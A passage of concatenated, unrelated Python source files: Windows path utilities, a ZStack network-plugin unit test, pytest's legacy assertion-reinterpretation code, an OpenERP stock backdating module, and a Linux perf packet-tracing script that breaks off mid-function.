        return path.rstrip(seps) == _getvolumepathname(path).rstrip(seps)
    else:
        return False


# Expand paths beginning with '~' or '~user'.
# '~' means $HOME; '~user' means that user's home directory.
# If the path doesn't begin with '~', or if the user or $HOME is unknown,
# the path is returned unchanged (leaving error reporting to whatever
# function is called with the expanded path as argument).
# See also module 'glob' for expansion of *, ? and [...] in pathnames.
# (A function should also be defined to do full *sh-style environment
# variable expansion.)

def expanduser(path):
    """Expand ~ and ~user constructs.

    If user or $HOME is unknown, do nothing."""
    if isinstance(path, bytes):
        tilde = b'~'
    else:
        tilde = '~'
    if not path.startswith(tilde):
        return path
    i, n = 1, len(path)
    while i < n and path[i] not in _get_bothseps(path):
        i += 1

    if 'HOME' in os.environ:
        userhome = os.environ['HOME']
    elif 'USERPROFILE' in os.environ:
        userhome = os.environ['USERPROFILE']
    elif not 'HOMEPATH' in os.environ:
        return path
    else:
        try:
            drive = os.environ['HOMEDRIVE']
        except KeyError:
            drive = ''
        userhome = join(drive, os.environ['HOMEPATH'])

    if isinstance(path, bytes):
        userhome = userhome.encode(sys.getfilesystemencoding())

    if i != 1: #~user
        userhome = join(dirname(userhome), path[1:i])

    return userhome + path[i:]


# Expand paths containing shell variable substitutions.
# The following rules apply:
#       - no expansion within single quotes
#       - '$$' is translated into '$'
#       - '%%' is translated into '%' if '%%' are not seen in %var1%%var2%
#       - ${varname} is accepted.
#       - $varname is accepted.
#       - %varname% is accepted.
#       - varnames can be made out of letters, digits and the characters '_-'
#         (though is not verified in the ${varname} and %varname% cases)
# XXX With COMMAND.COM you can use any characters in a variable name,
# XXX except '^|<>='.

def expandvars(path):
    """Expand shell variables of the forms $var, ${var} and %var%.

    Unknown variables are left unchanged."""
    if isinstance(path, bytes):
        if ord('$') not in path and ord('%') not in path:
            return path
        import string
        varchars = bytes(string.ascii_letters + string.digits + '_-', 'ascii')
        quote = b'\''
        percent = b'%'
        brace = b'{'
        dollar = b'$'
        environ = getattr(os, 'environb', None)
    else:
        if '$' not in path and '%' not in path:
            return path
        import string
        varchars = string.ascii_letters + string.digits + '_-'
        quote = '\''
        percent = '%'
        brace = '{'
        dollar = '$'
        environ = os.environ
    res = path[:0]
    index = 0
    pathlen = len(path)
    while index < pathlen:
        c = path[index:index+1]
        if c == quote:   # no expansion within single quotes
            path = path[index + 1:]
            pathlen = len(path)
            try:
                index = path.index(c)
                res += c + path[:index + 1]
            except ValueError:
                res += path
                index = pathlen - 1
        elif c == percent:  # variable or '%'
            if path[index + 1:index + 2] == percent:
                res += c
                index += 1
            else:
                path = path[index+1:]
                pathlen = len(path)
                try:
                    index = path.index(percent)
                except ValueError:
                    res += percent + path
                    index = pathlen - 1
                else:
                    var = path[:index]
                    try:
                        if environ is None:
                            value = os.fsencode(os.environ[os.fsdecode(var)])
                        else:
                            value = environ[var]
                    except KeyError:
                        value = percent + var + percent
                    res += value
        elif c == dollar:  # variable or '$$'
            if path[index + 1:index + 2] == dollar:
                res += c
                index += 1
            elif path[index + 1:index + 2] == brace:
                path = path[index+2:]
                pathlen = len(path)
                try:
                    if isinstance(path, bytes):
                        index = path.index(b'}')
                    else:
                        index = path.index('}')
                except ValueError:
                    if isinstance(path, bytes):
                        res += b'${' + path
                    else:
                        res += '${' + path
                    index = pathlen - 1
                else:
                    var = path[:index]
                    try:
                        if environ is None:
                            value = os.fsencode(os.environ[os.fsdecode(var)])
                        else:
                            value = environ[var]
                    except KeyError:
                        if isinstance(path, bytes):
                            value = b'${' + var + b'}'
                        else:
                            value = '${' + var + '}'
                    res += value
            else:
                var = path[:0]
                index += 1
                c = path[index:index + 1]
                while c and c in varchars:
                    var += c
                    index += 1
                    c = path[index:index + 1]
                try:
                    if environ is None:
                        value = os.fsencode(os.environ[os.fsdecode(var)])
                    else:
                        value = environ[var]
                except KeyError:
                    value = dollar + var
                res += value
                if c:
                    index -= 1
        else:
            res += c
        index += 1
    return res


# Normalize a path, e.g. A//B, A/./B and A/foo/../B all become A\B.
# Previously, this function also truncated pathnames to 8+3 format,
# but as this module is called "ntpath", that's obviously wrong!

def normpath(path):
    """Normalize path, eliminating double slashes, etc."""
    sep = _get_sep(path)
    dotdot = _get_dot(path) * 2
    special_prefixes = _get_special(path)
    if path.startswith(special_prefixes):
        # in the case of paths with these prefixes:
        # \\.\ -> device names
        # \\?\ -> literal paths
        # do not do any normalization, but return the path unchanged
        return path
    path = path.replace(_get_altsep(path), sep)
    prefix, path = splitdrive(path)

    # collapse initial backslashes
    if path.startswith(sep):
        prefix += sep
        path = path.lstrip(sep)

    comps = path.split(sep)
    i = 0
    while i < len(comps):
        if not comps[i] or comps[i] == _get_dot(path):
            del comps[i]
        elif comps[i] == dotdot:
            if i > 0 and comps[i-1] != dotdot:
                del comps[i-1:i+1]
                i -= 1
            elif i == 0 and prefix.endswith(_get_sep(path)):
                del comps[i]
            else:
                i += 1
        else:
            i += 1
    # If the path is now empty, substitute '.'
    if not prefix and not comps:
        comps.append(_get_dot(path))
    return prefix + sep.join(comps)


# Return an absolute path.
try:
    from nt import _getfullpathname

except ImportError: # not running on Windows - mock up something sensible
    def abspath(path):
        """Return the absolute version of a path."""
        if not isabs(path):
            if isinstance(path, bytes):
                cwd = os.getcwdb()
            else:
                cwd = os.getcwd()
            path = join(cwd, path)
        return normpath(path)

else:  # use native Windows method on Windows
    def abspath(path):
        """Return the absolute version of a path."""

        if path: # Empty path must return current working directory.
            try:
                path = _getfullpathname(path)
            except OSError:
                pass # Bad path - return unchanged.
        elif isinstance(path, bytes):
            path = os.getcwdb()
        else:
            path = os.getcwd()
        return normpath(path)

# realpath is a no-op on systems without islink support
realpath = abspath
# Win9x family and earlier have no Unicode filename support.
supports_unicode_filenames = (hasattr(sys, "getwindowsversion") and
                              sys.getwindowsversion()[3] >= 2)

def relpath(path, start=curdir):
    """Return a relative version of a path"""
    sep = _get_sep(path)

    if start is curdir:
        start = _get_dot(path)

    if not path:
        raise ValueError("no path specified")

    start_abs = abspath(normpath(start))
    path_abs = abspath(normpath(path))
    start_drive, start_rest = splitdrive(start_abs)
    path_drive, path_rest = splitdrive(path_abs)
    if normcase(start_drive) != normcase(path_drive):
        error = "path is on mount '{0}', start on mount '{1}'".format(
            path_drive, start_drive)
        raise ValueError(error)

    start_list = [x for x in start_rest.split(sep) if x]
    path_list = [x for x in path_rest.split(sep) if x]
    # Work out how much of the filepath is shared by start and path.
    i = 0
    for e1, e2 in zip(start_list, path_list):
        if normcase(e1) != normcase(e2):
            break
        i += 1

    if isinstance(path, bytes):
        pardir = b'..'
    else:
        pardir = '..'
    rel_list = [pardir] * (len(start_list)-i) + path_list[i:]
    if not rel_list:
        return _get_dot(path)
    return join(*rel_list)


# determine if two files are in fact the same file
try:
    # GetFinalPathNameByHandle is available starting with Windows 6.0.
    # Windows XP and non-Windows OS'es will mock _getfinalpathname.
    if sys.getwindowsversion()[:2] >= (6, 0):
        from nt import _getfinalpathname
    else:
        raise ImportError
except (AttributeError, ImportError):
    # On Windows XP and earlier, two files are the same if their absolute
    # pathnames are the same.
    # Non-Windows operating systems fake this method with an XP
    # approximation.
    def _getfinalpathname(f):
        return normcase(abspath(f))


try:
    # The genericpath.isdir implementation uses os.stat and checks the mode
    # attribute to tell whether or not the path is a directory.
    # This is overkill on Windows - just pass the path to GetFileAttributes
    # and check the attribute from there.
    from nt import _isdir as isdir
except ImportError:
    # Use genericpath.isdir as imported above.
    pass

'''

@author: frank
'''
import unittest
import time
from kvmagent import kvmagent
from kvmagent.plugins import network_plugin
from zstacklib.utils import http
from zstacklib.utils import jsonobject
from zstacklib.utils import log


logger = log.get_logger(__name__)

class TestNetworkPlugin(unittest.TestCase):
    @classmethod
    def setUpClass(self):
        self.service = kvmagent.new_rest_service()
        self.service.start()
        time.sleep(1)

    @classmethod
    def tearDownClass(self):
        self.service.stop()


    def test_check_physical_network_interface(self):
        url = kvmagent._build_url_for_test([network_plugin.CHECK_PHYSICAL_NETWORK_INTERFACE_PATH])
        logger.debug('calling %s' % url)
        cmd = network_plugin.CheckPhysicalNetworkInterfaceCmd()
        cmd.interfaceNames = ['p5p1']
        ret = http.json_dump_post(url, body=cmd)
        rsp = jsonobject.loads(ret)
        self.assertTrue(rsp.success)
        
    def test_check_physical_network_interface_failure(self):
        url = kvmagent._build_url_for_test([network_plugin.CHECK_PHYSICAL_NETWORK_INTERFACE_PATH])
        logger.debug('calling %s' % url)
        cmd = network_plugin.CheckPhysicalNetworkInterfaceCmd()
        cmd.interfaceNames = ['p5p1', 'abcd']
        ret = http.json_dump_post(url, body=cmd)
        rsp = jsonobject.loads(ret)
        self.assertFalse(rsp.success)
        self.assertTrue('abcd' in rsp.failedInterfaceNames)

if __name__ == "__main__":
    #import sys;sys.argv = ['', 'Test.testName']
    unittest.main()
import traceback
import types
import py
import sys, inspect
from compiler import parse, ast, pycodegen
from _pytest.assertion.util import format_explanation, BuiltinAssertionError

passthroughex = py.builtin._sysex

class Failure:
    def __init__(self, node):
        self.exc, self.value, self.tb = sys.exc_info()
        self.node = node

class View(object):
    """View base class.

    If C is a subclass of View, then C(x) creates a proxy object around
    the object x.  The actual class of the proxy is not C in general,
    but a *subclass* of C determined by the rules below.  To avoid confusion
    we call view class the class of the proxy (a subclass of C, so of View)
    and object class the class of x.

    Attributes and methods not found in the proxy are automatically read on x.
    Other operations like setting attributes are performed on the proxy, as
    determined by its view class.  The object x is available from the proxy
    as its __obj__ attribute.

    The view class selection is determined by the __view__ tuples and the
    optional __viewkey__ method.  By default, the selected view class is the
    most specific subclass of C whose __view__ mentions the class of x.
    If no such subclass is found, the search proceeds with the parent
    object classes.  For example, C(True) will first look for a subclass
    of C with __view__ = (..., bool, ...) and only if it doesn't find any
    look for one with __view__ = (..., int, ...), and then ..., object,...
    If everything fails the class C itself is considered to be the default.

    Alternatively, the view class selection can be driven by another aspect
    of the object x, instead of the class of x, by overriding __viewkey__.
    See last example at the end of this module.
    """

    _viewcache = {}
    __view__ = ()

    def __new__(rootclass, obj, *args, **kwds):
        self = object.__new__(rootclass)
        self.__obj__ = obj
        self.__rootclass__ = rootclass
        key = self.__viewkey__()
        try:
            self.__class__ = self._viewcache[key]
        except KeyError:
            self.__class__ = self._selectsubclass(key)
        return self

    def __getattr__(self, attr):
        # attributes not found in the normal hierarchy rooted on View
        # are looked up in the object's real class
        return getattr(object.__getattribute__(self, '__obj__'), attr)

    def __viewkey__(self):
        return self.__obj__.__class__

    def __matchkey__(self, key, subclasses):
        if inspect.isclass(key):
            keys = inspect.getmro(key)
        else:
            keys = [key]
        for key in keys:
            result = [C for C in subclasses if key in C.__view__]
            if result:
                return result
        return []

    def _selectsubclass(self, key):
        subclasses = list(enumsubclasses(self.__rootclass__))
        for C in subclasses:
            if not isinstance(C.__view__, tuple):
                C.__view__ = (C.__view__,)
        choices = self.__matchkey__(key, subclasses)
        if not choices:
            return self.__rootclass__
        elif len(choices) == 1:
            return choices[0]
        else:
            # combine the multiple choices
            return type('?', tuple(choices), {})

    def __repr__(self):
        return '%s(%r)' % (self.__rootclass__.__name__, self.__obj__)


def enumsubclasses(cls):
    for subcls in cls.__subclasses__():
        for subsubclass in enumsubclasses(subcls):
            yield subsubclass
    yield cls


class Interpretable(View):
    """A parse tree node with a few extra methods."""
    explanation = None

    def is_builtin(self, frame):
        return False

    def eval(self, frame):
        # fall-back for unknown expression nodes
        try:
            expr = ast.Expression(self.__obj__)
            expr.filename = '<eval>'
            self.__obj__.filename = '<eval>'
            co = pycodegen.ExpressionCodeGenerator(expr).getCode()
            result = frame.eval(co)
        except passthroughex:
            raise
        except:
            raise Failure(self)
        self.result = result
        self.explanation = self.explanation or frame.repr(self.result)

    def run(self, frame):
        # fall-back for unknown statement nodes
        try:
            expr = ast.Module(None, ast.Stmt([self.__obj__]))
            expr.filename = '<run>'
            co = pycodegen.ModuleCodeGenerator(expr).getCode()
            frame.exec_(co)
        except passthroughex:
            raise
        except:
            raise Failure(self)

    def nice_explanation(self):
        return format_explanation(self.explanation)


class Name(Interpretable):
    __view__ = ast.Name

    def is_local(self, frame):
        source = '%r in locals() is not globals()' % self.name
        try:
            return frame.is_true(frame.eval(source))
        except passthroughex:
            raise
        except:
            return False

    def is_global(self, frame):
        source = '%r in globals()' % self.name
        try:
            return frame.is_true(frame.eval(source))
        except passthroughex:
            raise
        except:
            return False

    def is_builtin(self, frame):
        source = '%r not in locals() and %r not in globals()' % (
            self.name, self.name)
        try:
            return frame.is_true(frame.eval(source))
        except passthroughex:
            raise
        except:
            return False

    def eval(self, frame):
        super(Name, self).eval(frame)
        if not self.is_local(frame):
            self.explanation = self.name

class Compare(Interpretable):
    __view__ = ast.Compare

    def eval(self, frame):
        expr = Interpretable(self.expr)
        expr.eval(frame)
        for operation, expr2 in self.ops:
            if hasattr(self, 'result'):
                # shortcutting in chained expressions
                if not frame.is_true(self.result):
                    break
            expr2 = Interpretable(expr2)
            expr2.eval(frame)
            self.explanation = "%s %s %s" % (
                expr.explanation, operation, expr2.explanation)
            source = "__exprinfo_left %s __exprinfo_right" % operation
            try:
                self.result = frame.eval(source,
                                         __exprinfo_left=expr.result,
                                         __exprinfo_right=expr2.result)
            except passthroughex:
                raise
            except:
                raise Failure(self)
            expr = expr2

class And(Interpretable):
    __view__ = ast.And

    def eval(self, frame):
        explanations = []
        for expr in self.nodes:
            expr = Interpretable(expr)
            expr.eval(frame)
            explanations.append(expr.explanation)
            self.result = expr.result
            if not frame.is_true(expr.result):
                break
        self.explanation = '(' + ' and '.join(explanations) + ')'

class Or(Interpretable):
    __view__ = ast.Or

    def eval(self, frame):
        explanations = []
        for expr in self.nodes:
            expr = Interpretable(expr)
            expr.eval(frame)
            explanations.append(expr.explanation)
            self.result = expr.result
            if frame.is_true(expr.result):
                break
        self.explanation = '(' + ' or '.join(explanations) + ')'


# == Unary operations ==
keepalive = []
for astclass, astpattern in {
    ast.Not    : 'not __exprinfo_expr',
    ast.Invert : '(~__exprinfo_expr)',
    }.items():

    class UnaryArith(Interpretable):
        __view__ = astclass

        def eval(self, frame, astpattern=astpattern):
            expr = Interpretable(self.expr)
            expr.eval(frame)
            self.explanation = astpattern.replace('__exprinfo_expr',
                                                  expr.explanation)
            try:
                self.result = frame.eval(astpattern,
                                         __exprinfo_expr=expr.result)
            except passthroughex:
                raise
            except:
                raise Failure(self)

    keepalive.append(UnaryArith)

# == Binary operations ==
for astclass, astpattern in {
    ast.Add    : '(__exprinfo_left + __exprinfo_right)',
    ast.Sub    : '(__exprinfo_left - __exprinfo_right)',
    ast.Mul    : '(__exprinfo_left * __exprinfo_right)',
    ast.Div    : '(__exprinfo_left / __exprinfo_right)',
    ast.Mod    : '(__exprinfo_left % __exprinfo_right)',
    ast.Power  : '(__exprinfo_left ** __exprinfo_right)',
    }.items():

    class BinaryArith(Interpretable):
        __view__ = astclass

        def eval(self, frame, astpattern=astpattern):
            left = Interpretable(self.left)
            left.eval(frame)
            right = Interpretable(self.right)
            right.eval(frame)
            self.explanation = (astpattern
                                .replace('__exprinfo_left',  left .explanation)
                                .replace('__exprinfo_right', right.explanation))
            try:
                self.result = frame.eval(astpattern,
                                         __exprinfo_left=left.result,
                                         __exprinfo_right=right.result)
            except passthroughex:
                raise
            except:
                raise Failure(self)

    keepalive.append(BinaryArith)


class CallFunc(Interpretable):
    __view__ = ast.CallFunc

    def is_bool(self, frame):
        source = 'isinstance(__exprinfo_value, bool)'
        try:
            return frame.is_true(frame.eval(source,
                                            __exprinfo_value=self.result))
        except passthroughex:
            raise
        except:
            return False

    def eval(self, frame):
        node = Interpretable(self.node)
        node.eval(frame)
        explanations = []
        vars = {'__exprinfo_fn': node.result}
        source = '__exprinfo_fn('
        for a in self.args:
            if isinstance(a, ast.Keyword):
                keyword = a.name
                a = a.expr
            else:
                keyword = None
            a = Interpretable(a)
            a.eval(frame)
            argname = '__exprinfo_%d' % len(vars)
            vars[argname] = a.result
            if keyword is None:
                source += argname + ','
                explanations.append(a.explanation)
            else:
                source += '%s=%s,' % (keyword, argname)
                explanations.append('%s=%s' % (keyword, a.explanation))
        if self.star_args:
            star_args = Interpretable(self.star_args)
            star_args.eval(frame)
            argname = '__exprinfo_star'
            vars[argname] = star_args.result
            source += '*' + argname + ','
            explanations.append('*' + star_args.explanation)
        if self.dstar_args:
            dstar_args = Interpretable(self.dstar_args)
            dstar_args.eval(frame)
            argname = '__exprinfo_kwds'
            vars[argname] = dstar_args.result
            source += '**' + argname + ','
            explanations.append('**' + dstar_args.explanation)
        self.explanation = "%s(%s)" % (
            node.explanation, ', '.join(explanations))
        if source.endswith(','):
            source = source[:-1]
        source += ')'
        try:
            self.result = frame.eval(source, **vars)
        except passthroughex:
            raise
        except:
            raise Failure(self)
        if not node.is_builtin(frame) or not self.is_bool(frame):
            r = frame.repr(self.result)
            self.explanation = '%s\n{%s = %s\n}' % (r, r, self.explanation)

class Getattr(Interpretable):
    __view__ = ast.Getattr

    def eval(self, frame):
        expr = Interpretable(self.expr)
        expr.eval(frame)
        source = '__exprinfo_expr.%s' % self.attrname
        try:
            try:
                self.result = frame.eval(source, __exprinfo_expr=expr.result)
            except AttributeError:
                # Maybe the attribute name needs to be mangled?
                if (not self.attrname.startswith("__") or
                    self.attrname.endswith("__")):
                    raise
                source = "getattr(__exprinfo_expr.__class__, '__name__', '')"
                class_name = frame.eval(source, __exprinfo_expr=expr.result)
                mangled_attr = "_" + class_name +  self.attrname
                source = "__exprinfo_expr.%s" % (mangled_attr,)
                self.result = frame.eval(source, __exprinfo_expr=expr.result)
        except passthroughex:
            raise
        except:
            raise Failure(self)
        self.explanation = '%s.%s' % (expr.explanation, self.attrname)
        # if the attribute comes from the instance, its value is interesting
        source = ('hasattr(__exprinfo_expr, "__dict__") and '
                  '%r in __exprinfo_expr.__dict__' % self.attrname)
        try:
            from_instance = frame.is_true(
                frame.eval(source, __exprinfo_expr=expr.result))
        except passthroughex:
            raise
        except:
            from_instance = True
        if from_instance:
            r = frame.repr(self.result)
            self.explanation = '%s\n{%s = %s\n}' % (r, r, self.explanation)

# == Re-interpretation of full statements ==

class Assert(Interpretable):
    __view__ = ast.Assert

    def run(self, frame):
        test = Interpretable(self.test)
        test.eval(frame)
        # print the result as  'assert <explanation>'
        self.result = test.result
        self.explanation = 'assert ' + test.explanation
        if not frame.is_true(test.result):
            try:
                raise BuiltinAssertionError
            except passthroughex:
                raise
            except:
                raise Failure(self)

class Assign(Interpretable):
    __view__ = ast.Assign

    def run(self, frame):
        expr = Interpretable(self.expr)
        expr.eval(frame)
        self.result = expr.result
        self.explanation = '... = ' + expr.explanation
        # fall-back-run the rest of the assignment
        ass = ast.Assign(self.nodes, ast.Name('__exprinfo_expr'))
        mod = ast.Module(None, ast.Stmt([ass]))
        mod.filename = '<run>'
        co = pycodegen.ModuleCodeGenerator(mod).getCode()
        try:
            frame.exec_(co, __exprinfo_expr=expr.result)
        except passthroughex:
            raise
        except:
            raise Failure(self)

class Discard(Interpretable):
    __view__ = ast.Discard

    def run(self, frame):
        expr = Interpretable(self.expr)
        expr.eval(frame)
        self.result = expr.result
        self.explanation = expr.explanation

class Stmt(Interpretable):
    __view__ = ast.Stmt

    def run(self, frame):
        for stmt in self.nodes:
            stmt = Interpretable(stmt)
            stmt.run(frame)


def report_failure(e):
    explanation = e.node.nice_explanation()
    if explanation:
        explanation = ", in: " + explanation
    else:
        explanation = ""
    sys.stdout.write("%s: %s%s\n" % (e.exc.__name__, e.value, explanation))

def check(s, frame=None):
    if frame is None:
        frame = sys._getframe(1)
        frame = py.code.Frame(frame)
    expr = parse(s, 'eval')
    assert isinstance(expr, ast.Expression)
    node = Interpretable(expr.node)
    try:
        node.eval(frame)
    except passthroughex:
        raise
    except Failure:
        e = sys.exc_info()[1]
        report_failure(e)
    else:
        if not frame.is_true(node.result):
            sys.stderr.write("assertion failed: %s\n" % node.nice_explanation())


###########################################################
# API / Entry points
# #########################################################

def interpret(source, frame, should_fail=False):
    module = Interpretable(parse(source, 'exec').node)
    #print "got module", module
    if isinstance(frame, types.FrameType):
        frame = py.code.Frame(frame)
    try:
        module.run(frame)
    except Failure:
        e = sys.exc_info()[1]
        return getfailure(e)
    except passthroughex:
        raise
    except:
        traceback.print_exc()
    if should_fail:
        return ("(assertion failed, but when it was re-run for "
                "printing intermediate values, it did not fail.  Suggestions: "
                "compute assert expression before the assert or use --assert=plain)")
    else:
        return None

def getmsg(excinfo):
    if isinstance(excinfo, tuple):
        excinfo = py.code.ExceptionInfo(excinfo)
    #frame, line = gettbline(tb)
    #frame = py.code.Frame(frame)
    #return interpret(line, frame)

    tb = excinfo.traceback[-1]
    source = str(tb.statement).strip()
    x = interpret(source, tb.frame, should_fail=True)
    if not isinstance(x, str):
        raise TypeError("interpret returned non-string %r" % (x,))
    return x

def getfailure(e):
    explanation = e.node.nice_explanation()
    if str(e.value):
        lines = explanation.split('\n')
        lines[0] += "  << %s" % (e.value,)
        explanation = '\n'.join(lines)
    text = "%s: %s" % (e.exc.__name__, explanation)
    if text.startswith('AssertionError: assert '):
        text = text[16:]
    return text

def run(s, frame=None):
    if frame is None:
        frame = sys._getframe(1)
        frame = py.code.Frame(frame)
    module = Interpretable(parse(s, 'exec').node)
    try:
        module.run(frame)
    except Failure:
        e = sys.exc_info()[1]
        report_failure(e)


if __name__ == '__main__':
    # example:
    def f():
        return 5

    def g():
        return 3

    def h(x):
        return 'never'

    check("f() * g() == 5")
    check("not f()")
    check("not (f() and g() or 0)")
    check("f() == g()")
    i = 4
    check("i == f()")
    check("len(f()) == 0")
    check("isinstance(2+3+4, float)")

    run("x = i")
    check("x == 5")

    run("assert not f(), 'oops'")
    run("a, b, c = 1, 2")
    run("a, b, c = f()")

    check("max([f(),g()]) == 4")
    check("'hello'[g()] == 'h'")
    run("'guk%d' % h(f())")

# -*- coding: utf-8 -*-
##############################################################################
#
#    Copyright (C) 2013 Agile Business Group sagl (<http://www.agilebg.com>)
#
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU Affero General Public License as
#    published by the Free Software Foundation, either version 3 of the
#    License, or (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU Affero General Public License for more details.
#
#    You should have received a copy of the GNU Affero General Public License
#    along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################

from osv import fields, osv


class stock_partial_picking_line(osv.TransientModel):
    _inherit = 'stock.partial.picking.line'
    _name = "stock.partial.picking.line"
    _columns = {
        'date_backdating': fields.datetime("Actual Movement Date"),
    }

    def on_change_date_backdating(self, cr, uid, ids, date_backdating,
                                  context=None):
        move_obj = self.pool.get('stock.move')
        return move_obj.on_change_date_backdating(
            cr, uid, ids, date_backdating, context=context)


class stock_partial_picking(osv.TransientModel):
    _inherit = 'stock.partial.picking'
    name = 'stock.partial.picking'

    def _partial_move_for(self, cr, uid, move):
        partial_move = super(
            stock_partial_picking, self)._partial_move_for(cr, uid, move)
        partial_move.update({'date_backdating': move.date_backdating},)
        return partial_move

    def do_partial(self, cr, uid, ids, context=None):
        partial = self.browse(cr, uid, ids[0], context=context)
        for wizard_line in partial.move_ids:
            date_backdating = wizard_line.date_backdating
            wizard_line.move_id.write({'date_backdating': date_backdating, })
        return super(stock_partial_picking, self).do_partial(cr, uid, ids,
                                                             context=context)

# Display a process of packets and processed time.
# It helps us to investigate networking or network device.
#
# options
# tx: show only tx chart
# rx: show only rx chart
# dev=: show only thing related to specified device
# debug: work with debug mode. It shows buffer status.

import os
import sys

sys.path.append(os.environ['PERF_EXEC_PATH'] + \
	'/scripts/python/Perf-Trace-Util/lib/Perf/Trace')

from perf_trace_context import *
from Core import *
from Util import *

all_event_list = []; # insert all tracepoint event related with this script
irq_dic = {}; # key is cpu and value is a list which stacks irqs
              # which raise NET_RX softirq
net_rx_dic = {}; # key is cpu and value include time of NET_RX softirq-entry
		 # and a list which stacks receive
receive_hunk_list = []; # a list which include a sequence of receive events
rx_skb_list = []; # received packet list for matching
		       # skb_copy_datagram_iovec

buffer_budget = 65536; # the budget of rx_skb_list, tx_queue_list and
		       # tx_xmit_list
of_count_rx_skb_list = 0; # overflow count

tx_queue_list = []; # list of packets which pass through dev_queue_xmit
of_count_tx_queue_list = 0; # overflow count

tx_xmit_list = [];  # list of packets which pass through dev_hard_start_xmit
of_count_tx_xmit_list = 0; # overflow count

tx_free_list = [];  # list of packets which is freed

# options
show_tx = 0;
show_rx = 0;
dev = 0; # store a name of device specified by option "dev="
debug = 0;

# indices of event_info tuple
EINFO_IDX_NAME=   0
EINFO_IDX_CONTEXT=1
EINFO_IDX_CPU=    2
EINFO_IDX_TIME=   3
EINFO_IDX_PID=    4
EINFO_IDX_COMM=   5

# Calculate a time interval(msec) from src(nsec) to dst(nsec)
def diff_msec(src, dst):
	return (dst - src) / 1000000.0

# Display a process of transmitting a packet
def print_transmit(hunk):
	if dev != 0 and hunk['dev'].find(dev) < 0:
		return
	print "%7s %5d %6d.%06dsec %12.3fmsec      %12.3fmsec" % \
		(hunk['dev'], hunk['len'],
		nsecs_secs(hunk['queue_t']),
		nsecs_nsecs(hunk['queue_t'])/1000,
		diff_msec(hunk['queue_t'], hunk['xmit_t']),
		diff_msec(hunk['xmit_t'], hunk['free_t']))

# Format for displaying rx packet processing
PF_IRQ_ENTRY= "  irq_entry(+%.3fmsec irq=%d:%s)"
PF_SOFT_ENTRY="  softirq_entry(+%.3fmsec)"
PF_NAPI_POLL= "  napi_poll_exit(+%.3fmsec %s)"
PF_JOINT=     "         |"
PF_WJOINT=    "         |            |"
PF_NET_RECV=  "         |---netif_receive_skb(+%.3fmsec skb=%x len=%d)"
PF_NET_RX=    "         |---netif_rx(+%.3fmsec skb=%x)"
PF_CPY_DGRAM= "         |      skb_copy_datagram_iovec(+%.3fmsec %d:%s)"
PF_KFREE_SKB= "         |      kfree_skb(+%.3fmsec location=%x)"
PF_CONS_SKB=  "         |      consume_skb(+%.3fmsec)"

# Display a process of received packets and interrputs associated with
# a NET_RX softirq
def print_receive(hunk):
	show_hunk = 0
	irq_list = hunk['irq_list']
	cpu = irq_list[0]['cpu']
	base_t = irq_list[0]['irq_ent_t']
	# check if this hunk should be showed
	if dev != 0:
		for i in range(len(irq_list)):
			if irq_list[i]['name'].find(dev) >= 0:
				show_hunk = 1
				break
	else:
		show_hunk = 1
	if show_hunk == 0:
		return

	print "%d.%06dsec cpu=%d" % \
		(nsecs_secs(base_t), nsecs_nsecs(base_t)/1000, cpu)
	for i in range(len(irq_list)):
		print PF_IRQ_ENTRY % \
			(diff_msec(base_t, irq_list[i]['irq_ent_t']),
			irq_list[i]['irq'], irq_list[i]['name'])
		print PF_JOINT
		irq_event_list = irq_list[i]['event_list']
		for j in range(len(irq_event_list)):
			irq_event = irq_event_list[j]
			if irq_event['event'] == 'netif_rx':
				print PF_NET_RX % \
					(diff_msec(base_t, irq_event['time']),
					irq_event['skbaddr'])
				print PF_JOINT
	print PF_SOFT_ENTRY % \
		diff_msec(base_t, hunk['sirq_ent_t'])
	print PF_JOINT
	event_list = hunk['event_list']
	for i in range(len(event_list)):
		event = event_list[i]
		if event['event_name'] == 'napi_poll':
			print PF_NAPI_POLL % \
			    (diff_msec(base_t, event['event_t']), event['dev'])
			if i == len(event_list) - 1:
				print ""
			else:
				print PF_JOINT
		else:
			print PF_NET_RECV % \
			    (diff_msec(base_t, event['event_t']), event['skbaddr'],
				event['len'])
			if 'comm' in event.keys():
				print PF_WJOINT
				print PF_CPY_DGRAM % \
					(diff_msec(base_t, event['comm_t']),
					event['pid'], event['comm'])
			elif 'handle' in event.keys():
				print PF_WJOINT
				if event['handle'] == "kfree_skb":
					print PF_KFREE_SKB % \
						(diff_msec(base_t,
						event['comm_t']),
						event['location'])
				elif event['handle'] == "consume_skb":
					print PF_CONS_SKB % \
						diff_msec(base_t,
							event['comm_t'])
			print PF_JOINT

def trace_begin():
	global show_tx
	global show_rx
	global dev
	global debug

	for i in range(len(sys.argv)):
		if i == 0:
			continue
		arg = sys.argv[i]
		if arg == 'tx':
			show_tx = 1
		elif arg =='rx':
			show_rx = 1
		elif arg.find('dev=',0, 4) >= 0:
			dev = arg[4:]
		elif arg == 'debug':
			debug = 1
	if show_tx == 0  and show_rx == 0:
		show_tx = 1
		show_rx = 1

def trace_end():
	# order all events in time
	all_event_list.sort(lambda a,b :cmp(a[EINFO_IDX_TIME],
					    b[EINFO_IDX_TIME]))
	# process all events
	for i in range(len(all_event_list)):
		event_info = all_event_list[i]
		name = event_info[EINFO_IDX_NAME]
		if name == 'irq__softirq_exit':
			handle_irq_softirq_exit(event_info)
		elif name == 'irq__softirq_entry':
			handle_irq_softirq_entry(event_info)
		elif name == 'irq__softirq_raise':
			handle_irq_softirq_raise(event_info)
		elif name == 'irq__irq_handler_entry':
			handle_irq_handler_entry(event_info)
		elif name == 'irq__irq_handler_exit':
			handle_irq_handler_exit(event_info)
		elif name == 'napi__napi_poll':
			handle_napi_poll(event_info)
		elif name == 'net__netif_receive_skb':
			handle_netif_receive_skb(event_info)
		elif name == 'net__netif_rx':
			handle_netif_rx(event_info)
		elif name == 'skb__skb_copy_datagram_iovec':
			handle_skb_copy_datagram_iovec(event_info)
		elif name == 'net__net_dev_queue':
			handle_net_dev_queue(event_info)
		elif name == 'net__net_dev_xmit':
			handle_net_dev_xmit(event_info)
		elif name == 'skb__kfree_skb':
			handle_kfree_skb(event_info)
		elif name == 'skb__consume_skb':
			handle_consume_skb(event_info)
	# display receive hunks
	if show_rx:
		for i in range(len(receive_hunk_list)):
			print_receive(receive_hunk_list[i])
	# display transmit hunks
	if show_tx:
